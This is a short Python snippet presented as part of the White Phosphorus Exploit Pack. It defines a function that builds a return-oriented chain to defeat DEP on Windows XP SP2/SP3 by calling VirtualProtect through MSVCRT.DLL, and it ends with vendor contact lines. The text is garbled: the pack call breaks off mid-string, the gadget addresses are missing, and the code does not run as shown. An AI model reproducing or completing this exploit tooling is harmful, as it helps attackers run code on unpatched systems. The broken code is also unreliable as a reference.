#+-------- --- - #| White Phosphorus Exploit Pack Universal XP DEP Bypass Chain #| July 2011 #+-- from struct import pack def wp_UniversalDEPBypassWinXP_VP(size=2200): # White Phosphorus (2010) # Universal DEP Bypass for Windows XP SP2/SP3 using VirtualProtect # # This routine will make the current ESP + size bytes of the stack frame # executable using VirtualProtect and then return to the stack # # Uses MSVCRT.DLL which has remained static on XP from SP2->Current # # web: http://www.whitephosphorus org # mail: support@whitephosphorus org # sales: http://www.immunityinc.com/products-whitephosphorus.shtml size += 96 # This is the size of the DEP bypass + ptr in # relation to the initial ESP print "WP> Building Universal Windows XP DEP bypass using VirtualProtect" depBypass = pack(' Universal DEP Bypass Size: %d Bytes" % len(depBypass) return depBypass